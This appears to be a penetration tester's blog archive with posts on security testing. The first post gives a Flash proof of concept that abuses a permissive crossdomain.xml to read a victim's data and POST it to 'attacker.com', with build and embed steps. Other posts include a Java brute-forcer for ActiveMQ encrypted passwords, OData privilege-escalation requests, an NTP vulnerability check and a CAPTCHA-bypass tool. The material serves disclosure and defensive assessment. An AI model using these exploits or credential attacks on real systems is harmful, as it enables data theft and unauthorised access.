Wednesday, August 28, 2013

Exploiting Insecure crossdomain.xml to Bypass Same Origin Policy (ActionScript PoC)


Adobe Flash is among the most popular browser plugins and also ships by default with a couple of popular web browsers. Its widespread prevalence has made it a frequent target of attacks and also been as a vector to launch attacks. One such attack vector is to use Flash for cross-domain data access.
In this blog post we will review at a known attack vector and create a Proof of Concept exploit to bypass browser’s Same-origin policy for websites that host an overly permissive cross-domain policy file.

Cross-domain Policy Files
Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>



To understand the impact of such cross-domain policy file, let us consider a scenario where a bank website has such a policy file.
  1. A user logs on to the banking website.
  2. The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
  3. When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
  4. It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
  5. The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
  6. The Flash file then passes it on to the malicious server.

The ActionScript exploit code
I wanted to demonstrate the impact of this vulnerability but could not find a Proof of Concept ActionScript code. After tinkering around with ActionScript and Apache Flex SDK, I had a working PoC which is provided below along with the HTML file that I used to embed the Flash file.
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "http://victim.com/supersecret";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}


private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://attacker.com/store"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}



The following HTML file can be used to embed the flash file for delivery.
<html>
<object type="application/x-shockwave-flash" data="XDomainXploit.swf" width="1" height="1">
<param name="movie" value="XDomainXploit.swf" />
</object>
</html>



The code along with a README is also uploaded to GitHub repository which can be found here.

Compiling and deploying the ActionScript code
I used Apache Flex SDK to compile the ActionScript code and you can follow the below provided steps to get your exploit working.
  1. Download and install Apache Flex SDK that comes with an ActionScript compiler.
  2. Copy the ActionScript code to your local directory and name it XDomainXploit.as.
  3. Change the values of readFrom and sendTo parameters to appropriate values as per your needs.
  4. Compile the code with the mxmlc compiler to a Flash file by running the following command. The mxmlc compiler is shipped with Apache Flex.
mxmlc XDomainXploit.as
  1. Deploy the generated Swf and the provided HTML files to enjoy the Flash goodness.
Figure 1: Image shows ActionScript compile operation

Below you will see the exploit in action.


Figure 2: Image shows the sequence of requests during PoC execution

The code example above uses hard coded values for readFrom and sendTo parameters in ActionScript code but you can have Flash retrieve these fields from your HTML page using ActionScript’s ExternalInterface class or make the ActionScript to retrieve targets from your attack server at runtime.

Conclusion
Carefully analyze the proposed cross-domain application architecture from security perspective before deploying new or updated cross-domain policy files and make sure that exposure is minimal by not having overly permissive entries in your files. Consider reviewing the following two documents from Adobe that have extensive information on Adobe Flash Player security.

  1. Cross-domain policy file usage recommendations for Flash Player http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html

Thursday, August 15, 2013

Security Considerations for ActiveMQ's Simple Authentication Plugin

Apache ActiveMQ is a popular message broker that has several security features to help secure its deployment. User or client authentication typically a very important security requirement for enterprise applications and ActiveMQ offers two plugin based authentication mechanisms that need to be explicitly enabled and sometimes even coded based on your requirements.

ActiveMQ's Simple Authentication Plugin
In this blog post we will discuss ActiveMQ’s simple authentication plugin and analyze it from security perspective. ActiveMQ’s simple authentication plugin can be enabled by adding the simpleAuthenticationPlugin element to the broker configuration with the required user credentials as show in the image below.


Image shows ActiveMQ's simpleAuthenticationPlugin
The above configuration has two users, admin and general, assigned to two different groups, admins and general respectively.

Now that we have seen the sample simpleAuthenticationPlugin configuration, following are the important security considerations of using this plugin.
  1. It stores usernames and passwords in clear in the configuration files. Access to configuration file can therefore reveal user credentials to unauthorized users. For example, a backup administrator may not be the right person to know broker credentials. However, he will be able to view those if simpleAuthenticationPlugin is used in this fashion.
  2. It does not offer any protection against password bruteforce attacks. That is, there is no provision to enforce account lockout on multiple failed login attempts. This can be devastating if someone is able to bruteforce your admin password and then read all messages passing through the broker and even administer the broker.
Out of the two points discussed above, ActiveMQ tries to address item 1 by providing a capability that can be used to encrypt broker passwords using the password based encryption scheme before storing the passwords inside the configuration files. The password encryption scheme is based off the open source jasypt library’s StandardPBEStringEncryptor class. The image below shows the encrypted passwords for two ActiveMQ users.

ActiveMQ's encrypted passwords


Decrypting ActiveMQ Passwords
Since the passwords are encrypted and not hashed, it is possible to obtain the correct password if the encryption string is available or if it can be bruteforced. So I wrote a Java Class (code below) to subject the encrypted strings to a bruteforce attack from a wordlist which also contained the correct password. It took 240 seconds for 1,000,000 (1 million) decryption attempts at the rate of 4,166 unique passwords per second on a single thread and a single core. Impressive, isn’t it? 


Image shows successful password decryption with our custom class


The ActiveMQ binary can also be used to decrypt passwords from its configuration files and we can also script it. However, that would require us to have ActiveMQ binaries and may not as fast. Additionally, once a single password is cracked, we can use the obtained key to decrypt the other ones. You can also use JMSDigger to perform batch password decryption.



Example code to perform ActiveMQ's password decryption
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.Scanner;

import org.jasypt.encryption.pbe.StandardPBEStringEncryptor;
import org.jasypt.exceptions.EncryptionOperationNotPossibleException;

public class AMQPasswordDecrypt {
       private String encryptedText;
       private StandardPBEStringEncryptor encryptor;

       public AMQPasswordDecrypt(String encryptedText) {
              this.encryptedText = encryptedText;
              this.encryptor = new StandardPBEStringEncryptor();
       }
      
       public String decrypt(String decryptionString) {
              try {
                     encryptor = new StandardPBEStringEncryptor();
                     encryptor.setPassword(decryptionString);
                     return(encryptor.decrypt(encryptedText));
              } catch (EncryptionOperationNotPossibleException ex) {
                     //Absorb this and return null since decrypt operation was not successful
                     return null;
              }
       }
      
       private static void showHelpAndExit() {
              System.out.println("Run as: \njava -cp <Classpath> AMQPasswordDecrypt \n\t<EncryptedActiveMQPassword> <FilePathForDecryptionStrings>");
              System.exit(0);
       }
      
       public String getEncryptedText() {
              return encryptedText;
       }
      
       public static void main(String... args) throws FileNotFoundException {
              if(args.length != 2)
                     showHelpAndExit();
             
              for(String arg: args) {
                     if(arg.equals("-h") || arg.equals("--h") || arg.equals("--help"))
                           showHelpAndExit();
              }
             
              AMQPasswordDecrypt brute = new AMQPasswordDecrypt(args[0]);
             
              Scanner in = new Scanner(new FileInputStream(args[1]));
              String decryptionString = "";
              String decryptedPassword = null;
             
              while(in.hasNextLine()) {
                     decryptionString = in.nextLine();
                     System.out.printf("Trying to decrypt %s with %s\n", brute.getEncryptedText(), decryptionString);

                     if((decryptedPassword = brute.decrypt(decryptionString) ) != null)
                           break;
              }
             
              if(decryptedPassword != null)
                     System.out.printf("Encrypted password = %s, Decrypted password = %s, Decryption String = %s", brute.getEncryptedText(), decryptedPassword, decryptionString);
              else
                     System.out.printf("%s could not be decrypted", brute.getEncryptedText());

              in.close();
       }
}
Conclusion
To summarize, if you are using ActiveMQ broker for business critical processes, you may want to use the simpleAuthenticationPlugin only for PoC or initial testing as it may not offer the level of security your environment needs. Consider implementing custom JAAS  (Java Authentication and Authorization Service) authentication plugin for better security. 

We will also have a blog post on writing JAAS based authentication plugin for ActiveMQ in near future. Stay tuned!

Wednesday, February 27, 2013

Evaluating OData Applications


I was recently evaluating a SaaS provider's OData application, evaluating how its endpoint client application communicated via OData to its backed servers. The client application allowed SaaS consumers to schedule critical computation functions, download the results, and perform additional actions using OData’s RESTful operations.

This blog post aims provide an overview of the OData assessment methodology and also discusses a few interesting findings identified with respect to the specific OData implementation tested.


Understanding Our Target
The first step of any assessment is gain an understanding of how the application functions. Particularly with OData applications, you’ll want to explore all available functionality, monitor its communication using Fiddler, then map out the RESTful operations and the URIs accessed for all the available functionality. Once this is done, you should have an understanding of the application as well as its OData requests and responses. The specific application we were targeting only had one user role so we could test only for horizontal privilege escalation if the Service Metadata Document review did not reveal additional functionality or features.

Looking at the RESTful operations you should be able to determine the Service Root URI and the Service Metadata Document URI. For the application we were targeting, we leveraged these new URIs to perform the following:


  1. We accessed the Service Root URI and it showed several Feeds that were never referred by the thick client. A win? Not until we are able to really access real data.
  2. Next we used Oyedata to perform automated analysis of the OData service (Service Metadata Document) and then exported the fuzzing templates to a text file to be used with the Burp suite for testing. The target OData service did not support JSON format and Oyedata’s ability to generate fuzzing templates in both JSON and XML formats came in as a life saver.
  3. We also downloaded the Service Metadata Document locally for manual analysis.
As a result of all of these steps we discovered several additional Feeds and functionalities that the thick client did not use. Interesting, huh? Let’s move on to the assessment phase.


Oyedata
OyeData is a tool I wrote to help with OData assessments and is pretty much required. If you're unfamiliar with the tool, check out the video:




Assessment
Now that you fully understand the application and have a good idea of what on the server side is available, you can being to think about available attack vectors. Given what was available for our application, we proceeded to the attack phase with the following:


  1. Check for Horizontal Privilege Escalation.
  2. Identify what data/functionality was available through the additional Feeds discovered.
  3. Attempt RESTful operations that were not utilized by the thick client and shown to exist via automated Oyedata analysis. Oyedata’s data generator also helped by generating random sample data, especially for cryptic data types like Edm.DateTime and Edm.DateTimeOffset.

A Few Interesting Findings
After exhausting our attack vectors (plus a few extra from our methodology) we found some interesting findings. Here are some of them. We modified/obfuscated the output a bit as we’re still awaiting remediation confirmation from the vendor. 

Passwords were Stored in Clear and exposed via Feeds
The OData web service exposed username and passwords of all users via its Users feed. This finding highlights two important concerns:

  1. The affected feed had mis-configured access control that allowed access to the Users table.
  2. The database had user passwords in clear.



Privilege Escalation

The thick client did not offer any functionality to add, update or remove new users. The user role we had did not offer it either. However, it was possible to add new logins with privileges of our user account by sending the following RESTful (POST request generated using Oyedata) to the OData service. It was also possible to update or delete other users with the test user account we had.

 POST /XXXXXService.svc/RemoteLogins HTTP/1.1
 Host: www.vulnerablehost.com:8011
 Accept: application/atom+xml,application/atomsvc+xml,application/xml
 Content-Type: application/atom+xml
 Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop


 <?xml version="1.0" encoding="utf-8"?>
 <entry xmlns="http://www.w3.org/2005/Atom" xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata" xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
   <content type="application/xml">
    <m:properties>
      <d:GroupId>4</d:GroupId>
      <d:RemoteServerId>1</d:RemoteServerId>
      <d:Login>newuser</d:Login>
      <d:Password>newpassword </d:Password>
    </m:properties>
  </content>
 </entry>





The application also allowed us to download results for other user’s submission’s and was found to be vulnerable to several instances of both Horizontal and Vertical Privilege attacks.

Application Logic Bypass

The client application did not provide any functionality to overwrite or delete past computation submissions however we were able to by abusing the OData web service since it was insecurely configured and allowed updates via PUT method. The previous submissions could also be deleted by issuing the following request. Here the value ‘100’ indicates the submission ID.

 DELETE /XXXXService.svc/Submissions(100) HTTP/1.1
 Host: www.vulnerablehost.com:8011
 Accept: application/atom+xml,application/atomsvc+xml,application/xml
 Content-Type: application/atom+xml
 Authorization: Basic UmVhbGx5PzpOb3RoaW5nSGVyZTop




Conclusion

OData is a new protocol that attempts to be the JDBC/ODBC for the internet and provide a new dimension to data access. Organizations that plan to implement OData should strive to learn more about this wonderful new protocol, the security risks involved and secure it as part of the deployment process.

Saturday, October 6, 2012

Verifying NTP Reserved Mode Denial of Service Vulnerability

I recently needed to check a NTP Reserved Mode Denial of Service vulnerability CVE-2009-3563, but without causing the DoS condition on the production server.  Using Metasploit’s auxillary module auxiliary/dos/ntp/ntpd_reserved_dos was not an option so I wrote my own Ruby script to assess the remote server. This script verifies the returned UDP packet content to determine presence of vulnerability and is shared below.


#Author: Gursev Singh Kalra  
require 'socket'
TIMEOUT = 5 

if(ARGV.count != 1)
 puts "[-] Target host not provided. Usage: ntp.rb <target_server>"
 exit
end

target_server = ARGV[0]
target_port = 123

socket = nil
response = nil

begin
 test_string = "\x97\x00\x00\x00\xAA\x00\x00\x00"
 socket = UDPSocket.open
 socket.send(test_string, 0, target_server, target_port)
 if select([socket], nil, nil, TIMEOUT)
  response = socket.recvfrom(10)
 end
rescue (IOError ex)
 puts ex.to_s
ensure
 socket.close if(socket)
end

if(response && response[0].index("\x97\x00\x00\x00"))
 puts "[+] Vulnerable to NTP Mode 7 Request Denial Of Service"
else
 puts "[-] Not vulnerable to NTP Mode 7 Request Denial Of Service "
end

Figure 1: Image shows request capture in wireshark

Figure 2: Image shows response capture in wireshark

Figure 3: Image shows script in action

Tuesday, October 2, 2012

Bypassing CAPTCHAs by Impersonating CAPTCHA Providers



CAPTCHA service providers validate millions of CAPTCHAs each day and protect thousands of websites against the bots. A secure CAPTCHA generation and validation ecosystem forms the basis of the mutual trust model between the CAPTCHA provider and the consumer. A variety of damage can occur if any component of this ecosystem is compromised.

During Analysis of the CAPTCHA integration libraries provided by several CAPTCHA providers (including reCAPTCHA) revealed that almost all of the CAPTCHA verification API’s relied on plain text HTTP protocol to perform CAPTCHA validation. Because of this, the CAPTCHA provider’s identity was not validated, message authentication checks were not performed and the entire CAPTCHA validation was performed on an unencrypted channel. This vulnerability was also reported to reCAPTCHA team several months back. 

If you decompile the .NET Plugin, you'll be able to pull out reCAPTCHA's verification URL, which demonstrates the absense of HTTPS:




In the current scenario, two types of attacks can be launched against vulnerable CAPTCHA implementations. These attacks are based on the assumption that an attacker is able to intercept the CAPTCHA validation traffic between target website and the CAPTCHA provider.


Private Key Compromise
Most of CAPTCHA providers issue private and public keys to identify a particular consumer and to enforce an upper limit on the number of CAPTCHAs used by them. Private keys are often sent over to the CAPTCHA provider during the CAPTCHA validation process. If the public and private keys are sent using plain text HTTP, an attacker could sniff the private keys and:

Use the CAPTCHA service for without registering for the service by using the captured keys.
Exhaust the target web site’s CAPTCHA quota for the service, which depending on the CAPTCHA provider may cause a wide variety of unexpected issues.


The CAPTCHA Clipping Attack
The following image describes what I call the "CAPTCHA Clipping Attack". Notice that steps 5 and 6 in blue would be the normal operation of events. We'll go into the attack in a little more detail below.



Since the website’s application server acts as a client to CAPTCHA provider during steps 5 and 6 (in blue) and the application server often neglects to validate the CAPTCHA provider’s identity and the session integrity checks, an attacker may be able to impersonate the CAPTCHA provider and undermine the anti-automation protection (steps 5 and 6 in red). CAPTCHA validation responses are mostly Boolean (true or false, success or failure, pass or fail, 0 or 1). The response format and its contents are also publicly available as part of CAPTCHA provider’s API documentation. This allows an attacker to easily construct the finite set of possible responses, impersonate the CAPTCHA provider, and perform malicious CAPTCHA validation for the application servers. 

To exploit this vulnerability an attacker performs the following:

  1. The attacker acts as a legitimate application user and submits a large number of requests to the web application.
  2. At the same time, he/she intercepts CAPTCHA validation requests, masquerades as the CAPTCHA provider and approves all submitted requests.

Masquerading as the CAPTCHA provider and not forwarding the CAPTCHA validation requests to the actual CAPTCHA provider is the CAPTCHA Clipping Attack.

clipcaptcha
clipcaptcha is a proof of concept exploitation tool that specifically targets the vulnerabilities discussed above and allows complete bypass of CAPTCHA provider protection. clipcaptcha is built on the sslstrip codebase and has the following features:

  1. Performs signature based CAPTCHA provider detection and clipping.
  2. Can be easily extended to masquerade as any CAPTCHA provider by adding corresponding signatures to the configuration XML file.
  3. Has built in signatures of several CAPTCHA providers including reCAPTCHA, OpenCAPTCHA, Captchator etc…
  4. Logs POST requests that match any supported CAPTCHA provider to capture private and public keys. Unmatched requests are forwarded as is.
  5. clipcaptcha supports five operational modes. These are “monitor”, “stealth”, “avalanche”, “denial of service” and “random”.



Download
clipcaptcha can be downloaded here 

This blog post is a copy of my original post here

Oct 7, 2012 Update: 
The complete whitepaper is available for download from here.



Tuesday, June 12, 2012

Oyedata for OData Security Assessments


The Open Data Protocol (OData) is an open web protocol for querying and updating data. OData enables the creation of HTTP based RESTful  data services that can be used to publish and edit resources with simple HTTP messages.  OData is intended to be used to expose and access information from a variety of sources including relational databases, file systems, content management systems, and traditional web sites. It allows a consumer to query a data source over HTTP protocol and get results back in formats like Atom, JSON or plain XML. OData can be termed as JDBC/ODBC for the internet.

The protocol is relatively new and is being adopted by many major software manufacturers such as Microsoft, IBM, and SAP but hasn’t been publically explored in terms of security. As more applications, websites, and frameworks support OData, a larger attack surface becomes available to attackers.

Oyedata is a new tool to perform black-box OData security testing and help secure OData deployments. I wrote Oyedata from a penetration testing perspective and its the major features are summarized below:
1.     Intuitive GUI based tool written in C#.
2.     Ability to create attack templates from local and remote Service Documents and Service Metadata Documents.
3.     Support for XML and JSON data formats.
4.     Ability to export attack templates in JSON and XML formats that can be fed to custom Fuzzing code.
5.     Ability to engage the OData services for manual testing.
6.     Data generator for EDMSimpleType test data generation.
7.     Ability to generate “Read URIs” for Entities, Entity Properties and Entity Property Values.
8.     Ability to generate attack templates for Creation of new Entries, updating existing Entries, Service Operation invocation, Entry deletion etc…
9.     Ability to identify Keys, Nullable and Non-Nullable Properties and indicate the same in the attack templates.
10.  Web proxy, HTTP and HTTPS support and Error logging.


Image shows Oyedata retrieving an OData Service Metadata document 


Image shows various Create, Read, Delete and Update operations of the “Categories” Feed along with the supported Service Operation nodes

The tool is now available for download from McAfee website from this URL. Please send in your suggestions and feedback.